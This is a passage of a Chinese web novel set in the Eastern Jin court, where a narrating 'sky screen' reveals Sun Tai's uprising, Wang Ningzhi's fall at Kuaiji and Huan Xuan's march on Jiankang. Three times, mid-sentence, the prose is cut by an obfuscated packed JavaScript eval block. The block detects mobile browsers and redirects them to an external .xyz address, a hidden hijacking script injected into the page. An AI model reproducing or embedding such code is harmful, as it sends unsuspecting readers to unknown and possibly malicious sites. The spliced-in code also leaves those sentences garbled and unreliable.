乍看起来,这里一片繁茂景象,山林水泽风光优美。 然而在荣华之下…… 【数千亩的庄园土地,将此地百姓的农田都给侵占去了,却只需要上交极少的税赋,将剩余的负担压在其余百姓的身上。二十年,十年,甚至是更短的时间,这些百姓就会不堪重负,一部分沦为奴隶佃客,一部分逃入山中聚集成屯。】 【人难道不会反抗吗?当然会!】 【还像是宿命的缘分,这里的人信奉五斗米教。】 【虽然这个宗教已经和黄巾起义时有些不同,不仅是百姓信奉五斗米教,官员也信,其中就包括王羲之的二儿子王凝之。作为天师道领袖之一的钱塘杜子恭,以及他的传人孙泰,也早混成了官员的座上宾客。】 【但毋庸置疑的是,苛捐重税下,一部分不得不从宗教中寻求解脱的人,随时都会如同昔年的黄巾军一般,向着上方耽于享乐的高官,举起他们的镰刀铁锄!】 【支妙音和姜定,就是在这个时候,来到了钱塘。】 …… 【按照史书记载,支妙音是因为一个赌约先被骗来这里的,也不打算来上一出佛教和道教的碰撞,负责主事的,还是姜定。】 【所以历史上的晋朝众人很快会看到,一个疯子遇上了另一个更疯的明主,到底碰撞出了何种惊人的力量。】 【但在现在,先一步发生的事情是,支妙音问了姜定一个问题:你到底想做什么?或者说,你背后的永安到底想要做什么?】 这是一句刨根问底的话。 决定了她到底要不要继续留在这里观望。 【史书用最为简洁的笔墨记下了这一幕,这好像很不应当。但或许,再多的笔墨也没法形容清楚这个场面——】 【钱塘的初春里,原本只有江东士族的欢声,而现在又多出了一个声音。】 【姜定与支妙音本是旧识,也并没有避讳,在一开始就给出了答案:“我等欲效黄巾旧事。”】 天幕的人像剪影里,乔装改扮的书生对着面前的女尼展开了一张由永安大帝书写的手卷,上面有且仅有七个字。 【天街踏尽公卿骨。】 14. 014 寥寥七字,还是拿在剪影中的“文弱书生”手中,却俨然有着重逾千斤的分量,还透着冲天的杀气。 若世家无用,反受其累,不如顺应民心,举兵起义,将世家公卿的骨头踩碎在建康城的长街之上! 这便是未来的永安大帝给出的答案。 …… 王珣骤然拔高了音量,急前两步:“他怎么敢!想要靠着那些愚民与道士,就想要颠覆王权!” 这话一出,全场的目标再度聚焦到了他的身上。 不过,王神爱在旁绝没有看错,那些先前带着审视与嘲弄的眼神,都已变成了同仇敌忾。 就算没有王珣,同在此地的谢重、庾楷、司马尚之等人也一定会说出这样的话。 一句“天街踏尽公卿骨”,成功将先前只有王氏在水里的情况,变成了全员无一幸免。 谁还有空去管王珣之前的丢脸。 要管也得管管那个疯子。 永安他怎么敢! 他不需要遵守这个世道争权夺利的规矩吗? 若不是现在不知道这位永安大帝的身份,王珣怎么也得提着自己的宝剑,去捅对方两下,而不是被一句话激怒。 “用一群不知所谓的江东庶民,与朝廷的正规军相抗……” 王珣刚说到这里,就觉自己的衣袖被人扯了扯。 他回头就见,是王神爱令宫人做出了这举动。 她轻轻摇了摇头,面露劝阻之意,又伸手指了指天幕。 虽并未开口,已足够王珣明白她的意思。 再如何不敢相信,起码天幕已经讲得很明白了。 永安大帝是这一场乱斗中,被天幕盖棺定论的胜利者。 天幕说过,这个阶段永安遭遇过三次致命危机,此刻确实是只出现了第一次,还有未知的另外两次。 但既能在余下的两次危机过后挟天子摄政,只怕那个自下而上发动起义的路子,最终还是被走成功了。 王珣在这个时候叫唤有什么用?只会显得他沉不住气,过于气急败坏了些。 王珣:“……” 王神爱这一个动作,比说话还伤人。 偏偏因为永安这个疯子的行事过于骇人,让他愈发确信,将王神爱推举上位的计划,才是自救的重要一环,他还不敢有任何的不满。 他也随即听到了王神爱略显忧心的低语:“族叔还是先沉心静气听下去。倘若此刻东南有变,投向永安,还有桓玄在荆州窥伺,对建康没什么好处。提前失态只会让敌人看个笑话。” 天幕比任何广而告之的传檄张贴,都要有效太多了。 若说先前还只是一句笼统的概述,未必能让人看明白永安的立场,对于天幕之下的百姓也没有那么多实感,现在这一句东南星火、欲效黄巾,便是彻底与晋朝的上层割席,投向了百姓的这头。 对于那些只识得些许个字的黔首来说,用简化字记叙的永安大帝,好像也天然要距离他们更近一些。 此刻天幕之下的世家公卿,是越发迫切地想要找到这个家伙,那么,江东百姓又会如何看待那位意欲带领他们走出困境的君主呢? 王珣极力深吸了一口气,按捺下了沸腾的情绪:“不错……你说得没错。此人确然是敌非友,还是个大敌。” 只希望他此刻为了避祸先藏匿了起来,无法抢占先手,或许也正是天幕对他们这些人的优待。 那个家伙最好是藏好一些,若是被他找到—— …… “若是这么轻易就被人挖出身份除掉,可对不起我这数日间星夜不停地赶路啊……”刘勃勃卧倒在草丛里,定定地看向头顶的天幕。 他先前虽已渡过了黄河,将追兵甩在后头,但一日不抵建康,投效到明主麾下,他便一日算不得安全。 就连入夜之后,他也休息得极不安稳。 反而是此刻躺卧在草间,这匈奴少年的筋骨才终于舒展了开来,有了喘息的机会。因为他知道,天幕巨变在前,就算是在田间劳作的老农,都得放下手中的锄镐去听去看,哪里有空来管他这个逃亡之人。 他伸手敲了敲自己的腿侧,方觉一阵疲累胀痛涌了上来。 但相比于身体上的劳累,胸腔里奔涌的热血流窜过那颗野心勃勃的心脏,让他另一手依然稳稳地握住了身边的匕首。 “天街踏尽公卿骨……”他喃喃重复着这句诗,眼神愈来愈亮,“好句,当真好句!也好一个永安大帝!” 他南下投奔的时候还有些担心,若是那位永安大帝听那名号便是个仁君,又有南方士族那些个文绉绉的毛病,到底能不能接纳他这样的人。 天幕却告诉他,这是个极有血性的杀神,还是意欲血洗建康的狠人,比起他们北人的骁勇也有过之而无不及,这怎能不在顷刻间让他好感倍增。 天幕也告诉他,这位明君自己的征战水平居于中流,但对于战功赫赫的刘大将军并未生疑,反而给对方诸般恩赏,让其高寿善终,堪称君臣佳话。 世家怎么想,他管不着,说不定他看到那些耽误事的家伙,也就是一刀劈了。 他只知道—— 别管有没有其他刘大将军,现在,他要来争这个刘大将军位置了! 但愿,永安大帝在世家的群狼环伺当中,能活得久一些! …… 天幕之下人心各异。 王珣等人与刘勃勃大约最能代表正反极端。 桓玄则是目光沉沉地看着天幕,试图从任何一点蛛丝马迹中窥探得“永安”的身份。 毕竟上头也说了,他将来会死在永安的手里。 北方的拓跋珪已提前知道自己将来会死在儿子的手里,提前对此做出了防备,自觉倘若不出意外的话,会对上那位永安大帝。 倘若在被天幕这样播报的情况下,他还能杀出一条血路来,他拓跋珪也将遭遇平生最大的挑战。 都说知己知彼,他又怎能错漏天幕上的一字半句。 …… 【这可能是支妙音听过的最为大胆的一句话。】 【天街踏尽公卿骨!】 【张角没做到这一步,让洛阳被黄巾席卷,二百年后的钱塘,却有人提出了这样的宏愿。】 【姜定又告诉她,如果她还觉得暂时做不出决定,不信那个人会变成胜利者的话,不如再看一看,东南吴会之地,接下来的发展是否会遵照着预测来走。】 【换了谁在支妙音的位置上,都得被这种局势发展打懵了。】 【按照她后来修编的《比丘尼传》所写,在遭到了这等“惊吓”后,姜定只对她提出了一个请求——】 【要看好戏,总该付点门票的,反正她从简静寺中带出来的钱财够多,不如拨拢些钱财作为支援。】 【结果,就演变成了史书上的“妙音见大有可为,倾付家资”。】 支妙音先前还镇定自若的表情,顿时就扭曲了。 等等,什么叫做“倾付家资”? 她自认多年修身养性,又能在权势漩涡中心谋算人心,已是万事不惊,然而这接连几个惊天消息发生在天幕中的她身上,好像有再好的养气功夫都没用。 若不是还想看看天命何方,她高低得把某位“故交”给举报了。 只能强行将注意力转回了天幕之上。 【随后,姜定拜访了一个人。】 【既要效仿黄巾,聚拢东南流民难民,总得需要一个本地的领头人。这个人最好是本就怀有异心,还在当地有着极高的名望。】 【这个人选,其实我们在先前已经提到过了。】 【“三吴”一带的天师道领袖,原本是钱塘杜子恭,但他死得要比司马曜更早,这个时候,他的道统与名望都已经传到了一个叫孙泰的人这里。】 【更准确的说,孙泰其实并不属于平民行列,叫“寒门”要更为合适得多。他的家族也是在永嘉南渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048337|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,才从琅琊迁移到吴郡,但很可惜,传到太元年间,只剩下叔侄二人还有些名气,这个名气,还是拜师杜子恭得来的。直到杜子恭身死,孙泰才算真正迎来了转机。】 【他继承杜子恭道法,受人尊敬,不仅百姓会因为天师道信仰向他定期送来瓜果甘露,以及其他孝敬的礼物,黄门郎孔道、鄱阳太守桓放之等人也对他礼遇有加。】 “嘶——” 远在吴郡钱塘道场中的孙泰顿时倒抽了一口冷气,跳了起来。 他先前听到那七个字的时候,还觉大为痛快,仿佛早年间被世家门阀之见打压的郁气,都已一扫而空。 但是这事若是摊在他的头上,还是被天幕堂而皇之地宣告了出来,那就一点也不妙了! 他一边让人小心出门打探官府的行动,一边又死死地盯着天幕。 不对劲,这很不对劲。 他与那什么“姜定”一点私交都没有,那人莫名其妙地找上门来,他凭什么要听对方的? 没有道理! 想到这儿,孙泰又放缓了呼吸,心中暗忖,这或许只是个失败的尝试而已。 可他又不免在想,倘若世道真如天幕所说,在司马曜死后发生了这样多的事情…… 【这里又有一段很有意思的对话。】 【支妙音觉得,虽然吴会百姓遭遇种种压迫,也有一个相对统一的信仰,可细看孙泰此人的行事作风,一看就不像是能够被轻易驱使的,拜访他有什么用?】 【姜定却告诉她,按照永安大帝给出的计划,这一次拜访本来就不是要让孙泰臣服的,这也根本不可能做到。】 【要达成的目的只有一个,那就是让孙泰知道,有这样一个人来到了这里,也有人看好他,能带领天师道弟子做出一番大事。】 【若是按照结盟目的来看,姜定的这次拜访无疑是失败的。孙泰义正辞严地将人给撵了出去,绝口不提合作一事。】 【但只从姜定提到的这点来看,这次拜访又无疑是成功的。】 【这位从建康远道而来的“书生”人是走了,却留下了一句“若一意孤行必不长远”的谶语,和一份只勾勒了一半就已足够诱人的蓝图,让孙泰原本就并不安分的心躁动了起来。】 “叔叔,你——”孙泰的侄子孙恩瞪大了眼睛,匆匆离席而起。 “闭嘴!”孙泰一口喝止住了他,脚尖却已对准了门外,仿佛再听到一句对他不利的话,他便能即刻拔腿逃窜。 【不错,孙泰拒绝了姜定的联手建议,也不想听一个晚辈的指挥。但这绝不意味着,他是晋朝的忠臣。】 【在世家门阀之下,寒门的处境也没好到哪里去,偏偏他还一边遭受世俗的偏见,一边又因为宗教的缘故被高高抬起。】 【如果将他形容成一架天平的话,他一定是最容易失衡的那一种。】 【姜定的到访,是惊动天平的第一道推手。而第二道推手,就是在这个时候送来的建康军情。】 【王恭气势汹汹地包围建康,却没能成功诛灭司马道子,而是只看着王国宝人头落地,就已引兵离去。明明两方的兵力都不在少数,居然连打都没有打上一下。】 【对于一部分被蒙在鼓里的百姓来说,这是朝堂的重要人物进行了一番博弈,以尽可能和平的方式解决了冲突。】 【对于永安来说,是晋朝的世家早已烂到了根上。】 【那么对于孙泰来说呢?】 【不夸张地说,孙泰乐疯了!他觉得自己收到了一个很好的消息。】 【晋朝的兵力可能远没有他想的那么强悍,连这种完全应该打起来的场合,都靠着彼此退让来解决问题。他现在振臂一呼,起码就能有数千信众追随,为何不能一试?】 …… 【于是,就在这一年四月,孙泰举兵造反了。】 【他一边说着“你这个书生不要上门搞事,妖言惑众”,一边就毫不犹豫地造反了。】 15. 015 造反了…… 他怎么就造反了! 孙泰呆愣了一刹,一个箭步冲出了门。 让侄儿孙恩直呼,叔叔这几年间习武健体效果着实不错,腿脚如此灵便。 “见了鬼了!”孙泰一边跑一边骂骂咧咧,“这是个什么该死的天幕。凭什么最应该说出来是谁的永安大帝,那是半个字都没提到他的名字,上来就说我要造反。” 孙恩想了想,还是接上了话:“许是因为,为尊者讳?” “为……为尊者讳?”孙泰差点咬到舌头。 谁教孙恩把这个词用在这里的,这解释他一点也不接受! “还有,在天幕提到的时间线上,那位永安大帝还没造反,甚至他现在连部将都没几个。说不定这会儿,您还比他更像个人物呢?” 孙泰不想说话了。 他现在格外后悔,到底为什么要给孙恩起一个表字,叫做“灵秀”。 人长得灵不灵秀姑且两说,反正说出来的话,就没有一句他想听的。 他干脆飞起一脚,将孙恩踹向了一个方向,“速速喊上咱们的人,事发仓促,来不及收拾细软了,立刻往码头赶。” 钱塘江奔流入海,为吴越地带的贼寇躲避官府缉拿提供了一个极好的去处,那就是往海外去,直奔海外岛屿。 晋朝自顾不暇,也没这么多人力来缉捕要犯,总算还给他留出了一条活路。他还走得脱,只要速度够快。 瞧瞧这天幕不给他留余地到了什么地步,头顶上的声音宛若一道催命符。 别管这是不是在夸他,都太要命了! 【孙泰的起义,看起来像是一时头脑发热,一瞧见晋祚将尽,就带着全家资产踏上了战场,但其实未必。】 【姜定先找上过他,让他知道,连建康城中的贵人都已将目光投向了他,这提醒了他,就算真要做大事,也不能毫无章法。】 【所以在调集部下起兵之后,他先选择的进攻方向,是会稽。】 【这并不仅仅是因为钱塘距离会稽不远,也因为,时任会稽内史的王凝之也是天师道的忠诚信徒,和孙泰打过不少交道。】 【他怎么也想不到,明明前几日还能给他讲授道法的人,怎么现在就挥兵前来了呢?大家明明都是好朋友好道友啊,怎么就变成这样了呢?】 【从起义之后要先立足的角度来说,孙泰的选择一点也没错。】 【要打,就先打最不设防的敌人。】 “来人!”王凝之匆匆起身,向外喝道。 作为王羲之的二儿子,王凝之上不如兄长王玄之,下不如弟弟王献之、王徽之,可说是众多兄弟中最为平庸的一个。 好在他出身琅琊王氏,自有九品中正制为他的升官助力,怎么也能在会稽郡内史的位置上安度晚年。 ——在晋朝,内史等同于太守,是一郡之地的父母官。 哪知道这天幕一出,将他平静的生活顿时化为了泡影。 先是那句“天街踏尽公卿骨”,后是什么天师道谋逆起兵,俨然是将他当作了个好拿捏的软柿子! 然而还没等他迈步出去,背后就已传来了一个严肃的女声:“站住!” 王凝之回身,缓缓喊了句“夫人”。 来人身着一件暗红间青的宝花锦纹上襦,下著一条忍冬纹裙带的间裙,鬓边泛白的头发梳得一丝不苟,徐步朝他行来。 女子人已老去了,眼睛却没老,仍是一双碧清妙目,映衬着眼尾的细纹也只像是泛起的水波,因水波摇曳,又多出了几分秋风过境的肃杀。 “你要去做什么?” 这还用问? “自然是去布兵拿人了。”王凝之连忙回道。 幸有天幕提前揭露孙泰的谋逆恶行,让他来得及立刻去捉拿此贼。以防此人逃窜,他的动作自然是越快越好。想来是他比孙泰虔诚,才有了今日的福报,该当尽早应对。 谢道韫眼帘一抬:“布兵?布你那鬼神之兵吗?” 她眼瞳之中一点极深的颜色,刺得王凝之别开了脸。“自然不……” “你此刻动手得快,有什么用!”谢道韫打断了他的话,“没了孙泰还可以有孙恩,或者是有张泰李泰之流。江东三吴之地能出谋逆起义之兵,问题怎会只在孙泰,还不如先听下去。贼寇杀之不尽,民怨早已沸腾,唯有对症下药,才有扭转局面的办法。” 王凝之讷讷应道:“夫人这话在理,可若是让孙泰跑了,朝廷问责起来,也不好交代。” 谢道韫没再说话,只淡淡看了眼院中的天师道法器。 他若真怕什么朝廷问责不好交代,还会正事不做、尽问鬼神吗? …… 【要说这位会稽内史王凝之,那可真是个天才——不是褒义的那种。】 【其他人收到大军压境的消息,怎么也该全城戒严,加强戍卫,若是城中兵力不足,就立刻调兵支援。】 【他不一样,他干了件绝无仅有的事情。】 【王凝之不仅没加强守备的兵力,还在孙泰的大军朝着会稽逼近的时候,跪在道室内念咒。他底下的属官都要急疯了,结果这位神人来了句,我已向天师道的大仙请示了,借调了几万鬼兵,在每个关卡要塞驻扎,敌军不过几千乌合之众,根本不足为惧。】① 【这很难评。】 【他到底还记不记得,他对面的孙泰才是天师道的领袖,比起他这个半道入门还只能算半吊子的,人家孙泰好歹会几个糊弄人的花招呢。】 【用天师道的鬼兵,对天师道的首领,这种东西都被王凝之拿出来了。】 【王羲之一世英名,就败在了这个儿子的手里。】 【毫无疑问,他这种只能骗骗自己的鬼神伎俩,当然起不了任何的效果!还让孙泰高呼了一句天命在我,便带着自己的信众攻破了城关,把王凝之和他的四个儿子一并宰了,死得那叫一个草率。】 建康皇城之中。 王珣表情呆滞地朝着天幕上看去,只希望自己并没有听到这样的一段话。但他并没有耳背,将那一番话都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15052251|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听得清清楚楚。 王凝之他到底在干什么! 琅琊王氏的名声,本就在先前遭到了一记重创,眼下又是危机临头,结果将视角切到吴会之地,王凝之此人又拿出了这样的表现。 信仰宗教也不算是什么大问题,士人之中和王凝之一般信仰天师道的,也并不是没有,但何曾有人像是王凝之一般,干出这等荒诞不经的事情! 鬼兵守城,好一个鬼兵守城! 他真是死也死得应当。哦……他不仅是自己死了,还连累死了自己的几个儿子,真是个好父亲。 “听闻早年间谢夫人对王内史有一句评价,说是本家之中,长辈有谢无奕、谢安石,兄弟中有谢长度、谢幼度,不意天壤之中,乃有王郎这等废物,属实是所嫁非人。原本以为还只是句笑谈,想不到……” 想不到原是真的。 “你也不必在这时候挖苦讥笑!”王珣转头怒道,“你又好到哪里去?” 那位年约三十的将领抱臂站在一角。 作为司马氏的宗亲,司马道子的谘议参军,司马尚之刚刚被调回建康,就已被严格监管了起来,以防生变。 但因他和司马元显的情况不同,又确有领兵才能,并未连带被杀。 此刻也正有了出言讽刺王珣的机会。 司马尚之耸了耸肩,一副死猪不怕开水烫的样子。 …… 【王谢两家地位斐然,但到了王朝末路之时,好像所有的钟灵毓秀之气都集中到了女子身上。在孙泰攻破会稽之时,相比于王凝之的滑稽可笑,谢道韫无疑是撑起了最后的门庭。】 【孙泰破城,听闻贼兵已至,谢道韫举措自若,抽刀出门,杀死了数名贼寇方才被擒。就算被押解到了孙泰面前,也依然不显失态,怀抱外孙怒斥贼兵——事涉王门,何关他族?若要滥杀无辜,那就先杀了她。】 【孙泰与孙恩都被谢道韫的表现所折服,将她和外孙一并送走,未曾加害……】 王珣刚听到这里,耳边忽然传来了一道轻声问询:“以族叔看来,若是令谢夫人取代王凝之的位置,会稽可能守住?” “……”这话王珣答不上来。 他也觉得,王神爱的称呼有些诡异。她瞧不上王凝之的表现,对自己的亲伯父,也直呼其名,而对谢道韫,明明可以称呼为伯母拉近关系,竟只用了一个“谢夫人”的称呼。 王珣犹豫了片刻,答道:“谢令姜有诗才、擅书法、有气节,但未曾涉足政事,且年事已高,应当无法担负守城之职。” 王神爱微不可见地撇了撇嘴,“可若真如天幕中所说,王谢余晖,应在了女子身上,总不能再令谢夫人屈居东南,为家中琐事所困。” 王凝之的可笑,总不是只表现在敌军攻城这等要害关头吧?想必平日里,也不见多少拿得出手的政绩。 天幕都已说到了这个地步,还要让他继续拖累谢道韫吗? 这次王珣回答得倒很快:“我即刻去信,让人将谢夫人请入朝中,协助于你!” 16. 016 “那就有劳族叔了。” 王珣刚才说的,倒还像句人话。 王神爱“诚恳”地道谢了一声,又已将目光转回了天幕。 在这天幕短暂的过场里,她还来不及去想,等到谢道韫真如王珣所说来到建康后,该当如何一并应对眼前的危局。 总之,先将人捞到自己麾下总没错。 天幕一出,局面注定再不能按照原本的轨迹发展,她也不能完全依赖于自己的历史知识,只能尽可能地抓住一切助力,收拢可能投诚的人才。 还必须在天幕有指向于她的迹象前,便先将其他人的注意力引开。 而现在,虽然暂时达成了一个目标,她还有更多需要关注的东西。 她相信,另一个自己让人前往钱塘,绝不只是为了提前逼反孙泰而已。 若要在东南占据民心、揭竿而起,光靠着孙泰这草率的表现,远远不够。 那未经驯化的天师道,也暂时用不得! 果然,她随即就听天幕说道,在孙泰等人在会稽和钱塘都站稳脚跟、准备向下一处进发的同时,姜定也用从支妙音那里获得的钱财,加上她自己带来的财货,买下了一间寺院,用于收容兵匪交战之中的流民。 官兵忙着剿匪,孙泰忙着叛乱,压根没人有多余的工夫管到这里,竟是在半月间聚集起了大几百人,有了暂时将兵灾阻挡在外的资本。 与此同时,建康这头也有了异动。 【彼时的司马道子刚刚经历了丧子之痛,劝退王恭又已让他耗费了不少心力,骤然听闻东南叛乱的消息,便再度失去了方寸。】 【永安大帝抓住了这个时机,对他给出了数条建议。】 “司马道子先前不是还想杀人吗?怎么现在还敢听他说的话?”朝臣之中有人出声问道。 王神爱心中暗叫一声不好。 这些人又不知道,永安大帝的真实身份就是皇后。 经由她带着皇帝一并上吊找死的那一出,天幕剧情里的司马道子当然不敢再动手,以防被人抓住把柄,这才给了王神爱再度开口的机会。 但若永安是个另外身份的人,司马道子大权在握,劝退王恭之后还没能抓住支妙音,就应该转头宰了永安,用“他”给自己儿子殉葬。 说不定这还是司马元显死前的愿望呢。 而不是…… “许是病急乱投医了吧,司马道子若真有本事应对大局,先前也不会重用王国宝、赵牙这些人。”王神爱语气淡淡。 王珣恍然:“是这个道理。” 像是在呼应着王神爱的话,天幕中的女声继续说道: 【这数条建议,被司马道子视为救命稻草,拿来和自己的属官讨论,竟是采取了大半。】 天幕之下的众人面色古怪了一阵,只觉这位永安大帝的周旋功夫当真了得。 可往后听下去,他们又不得不承认,换了是他们在司马道子的位置上,表现也不会比他好多少。 【比如说,让人给王珣送个礼,请他做个说客,劝说王恭率领兵马南下平叛,让这两方彼此消耗兵力。王恭仍被忠君的名声所困,必定不会拒绝。】 王珣:“……” 【但为了防止王恭吞并了起义军后兵马过盛,反过来再度威逼建康,还请再做两件事。】 【一件,是以庾楷为后军,负责在后方督辖,如有异变,可以尽快来报。】 【一件,是给王恭军中司马暗中送去一份拉拢的信。】 【这位因讨伐司马道子才被破格启用的将领,就是彼时还未转投永安的刘牢之。】 【永安打听到,王恭看似兵马强盛,自己带兵的能力却并不太强,当日兵临城下,有一军的军容格外严整,但在撤军谢恩之时,却不见随同。甚至在撤兵之后,王恭还对刘牢之以伯乐自居,觉得他也不过是个只知行军打仗的武夫,很是慢待。】 【这样的两个人,今日看来关系尚可,往后必生龃龉,或许有拉拢过来的机会。】 【任何一位将领需要的,绝不仅仅是地位,还有认可。在这一点上,士族的身份固然是一条攀云梯,他们的傲慢,却也随时会变成一把砍断长梯的斧头。】 天幕之下有多少将领听进去了这句话不好说,反正被点名的这位,已在面上露出了几分怔然。 认可啊…… 这话说来容易,能真正做到的,又有几人呢? 眼前倒是还有一位,正是派人将他救下,又对他委以重任的太子妃。可惜一旦晋朝走向灭亡,太子妃也终难保全。 他还是得先做好最坏的打算。 等等,天幕是不是说,他原本会转投永安? …… 【永安大帝还建议,同时再做一件事。】 【王恭的兵马去平叛了,司马道子还派人去督军,建康势必要比先前空虚,是不是该当再让一人提防荆州的动静呢?】 【在建康与荆州之间,必须再派一人坐镇,此人最好还有足够的名望,或者说是名分,能够让荆州这边师出无名。】 【这个人选,最后被敲定为出身宗室的司马尚之。】 【明面上看起来,谁都得说,这是一番极其稳妥的计划。要是不知道先前建康的惊变都是被永安一手挑起的,恐怕还要恭喜司马道子,得到了一个处变不惊、办事周全的幕僚。】 【但东南那边,姜定仍在代表永安观望局势,建康这边,也没司马道子想得这么太平。或者说,是荆州这一路,情况和司马道子预想的一点也不一样。】 听到这里,桓玄眼皮一跳,一种不妙的预感油然而生。 下一刻,便听天幕说道: 【就在司马道子执行着调兵计划的同时,永安抽刀割破了那位傻子皇帝的手,写出了一封入京勤王的血诏,以衣带诏的方式送去了荆州,让人交到桓玄的手中。】 【这是一道,让桓玄能名正言顺起兵,直接杀死司马尚之的诏书!】 衣带诏的分量毋庸置疑。 对于意图在乱局中脱颖而出的桓玄来说,起兵之时的“大义”也尤为重要。 否则天幕中的他,不会在听闻司马道子险些逼死帝后的消息后,发出声讨的檄文。 可一想到那位永安大帝的种种操作,桓玄便无论如何也不能将这份血诏,当作是一份厚礼。 他死死地盯着天幕,意图将那位未来会杀死他的人看得更清楚些。 【……】 【不过这里,又有一个很有意思的问题。血,是皇帝的血,如果别人不信的话,永安还能捋起傻子皇帝的衣袖给别人看看刀伤。字,却是永安写的字,众所周知,傻子皇帝也写不出这么条理分明的诏书。】 【那么——桓玄入京,到底救的是哪个驾?】 【未来楚王因谋逆罪名被永安亲征围杀,却在悼词里,被永安说成是名副其实的救驾第一人,好像一点也没错。】 “啪”的一声。 长史卞范之朝着桓玄看去,就见他已一把捏碎了手中的杯子。 热汤自碎瓷的缝隙中迸溅而出,混杂着一缕淡淡的血痕,却不见桓玄的脸上有半分吃痛的神色。 他紧绷着面颊,缓缓吐出了两个字:“……楚王?” “您没听错。”卞范之答道。 也不能怪桓玄如此失态,先前那一句话里的信息量实在是太大了。 自汉代规定异姓不可封王以来,魏晋也沿用着这个规定,为何他能被封楚王? 又为何从楚王,落到了因谋逆罪名被处死的地步! 这其中必定有不少蹊跷,也势必与那位永安大帝有关。 他也更不能理解,就算只是出于体面,或者是想要挖苦于他的目的,永安为何要说,他是救驾第一人…… 这里面有太多太多的问题,是他在天幕的只言片语中想不明白的。 他清楚自己的性情,知道倘若有朝一日,他能站到昔日父亲桓温所在的位置,便绝不会满足于区区一个楚王的头衔。一旦距离皇位只差一步,他不会如同父亲一般犹豫不决,竟被谢安拖死。 那么,他是怎么被骗到这一步的? 卞范之提醒道:“如今一切还未发生,永安大帝应当也暂时不敢冒头,朝廷那边为了提防那位,或许还不会计较您杀死殷仲堪之事。局势都已大改,不必纠结于未发生的事情。” 桓玄没有即刻作答,只是任由扈从走上前来,为他处理好了手上的伤势。 但就算他不说,卞范之也很清楚,桓玄并没有将他的话全部听进去。 头顶的阴云一日不除,他就一日无法安寝。 而现在,随着天幕的一步步推进,这团阴云反而更加浓重了些。 “永安到底是谁呢?” 桓玄捏了捏刚被包扎好的指尖,眼中闪过了一抹厉色。 他忽然有些后悔,为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15056584|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚了几年才踏足仕途,又尽快借故前来荆州上任,以至于他对建康城中的才俊了解不深,竟很难在仓促间想到对应这种作风的人选。 奇怪的是,这个人的身份居然能让他相信,那封血诏在最开始,并不是一把双刃剑,也不是为了将他骗入牢笼之中。 这很不寻常。 再看永安其人—— 杀了人还要给死人戴高帽,周旋于各方之间却能全身而退,出身不会太低却对世家有这样果决的态度,应当是文臣、却对武将有一份罕见的共情…… 真是好矛盾,也好神秘的一个人! 【这是永安距离死亡最近的第二次,但好在,这一次大帝没有选错帮手。】 【桓玄这个人,和王恭不一样。他被大帝评价为“其性果决,至于狂狡”,面对这样好的机会,只与幕僚一并商议了半日,就已定下了出兵的计划,也绝不可能与王恭一样,被轻易地骗回去。】 【他甚至拿着那封血诏,伪造了另外的一份诏书,飞快地除掉了同在荆州的殷仲堪和杨佺期,而后快速收拢荆州旧部,抢在朝廷发觉荆州有变之前,向司马尚之发起了进攻。】 【出身宗室的司马尚之对于荆州刺史确实有压制力,奈何桓玄连荆州刺史都不在乎,还手握皇帝的求援,挥兵东进的计划没有半点耽搁。】 【这一战,以司马尚之大败,带着残兵败将逃亡而回告终。当然,他带回的,不仅仅是自己溃败的兵卒,还有永安干下的好事。】 【但很可惜,会稽王司马道子已经错过了杀死永安最好的机会。】 【他在听取对方建议抽调兵力的同时,也让对方暗中收拢了一支卫队,眼见计划败露,即刻挟持皇帝退入了皇城之外的石头城。】 【这里,是昔日东晋开国功臣王导为了抵御外敌而修建的军事要塞,已被荒废了一阵,却被永安以戒备桓玄为由提前修葺,又在此时派上了用场。】 【司马道子被宫人组成的戍卫队拦在了石头城下的石头津前,愤怒地下达了围困强攻的旨意。】 【围困一直持续了十六天,城中虽未断水,但已断粮。】 【没人知道,当时的永安大帝是怎么想的,又有没有考虑过坚持不下去的结果。】 【但幸好,这场豪赌最终还是永安赌赢了。】 【城门还未被司马道子攻破,桓玄的战船就已顺流直下,来到了石头津前,发起了对司马道子的进攻。】 天幕之上。 旌旗招展的荆州水军,对着本就疲累的皇城兵马发起了进攻。 一方是乘胜而来,一方却是疲敝之师。 司马道子无法解释,自己到底为何要围困皇帝和皇后,桓玄却可以拿出铁证,说明自己是为救驾而来。 前者也早已将一批精锐部队抽调离开了建康,一批精兵提前被桓玄打残。 留下在这里的人,或许用于守城还够,但这一战,偏偏发生在城外,就这样被打了个落花流水。 王神爱站在石头城上。 和先前站在建康城头看到王恭带兵来了又走不一样,这一次,她等来了自己的生路。 …… 【司马尚之没能脱逃,而是被当场俘虏。】 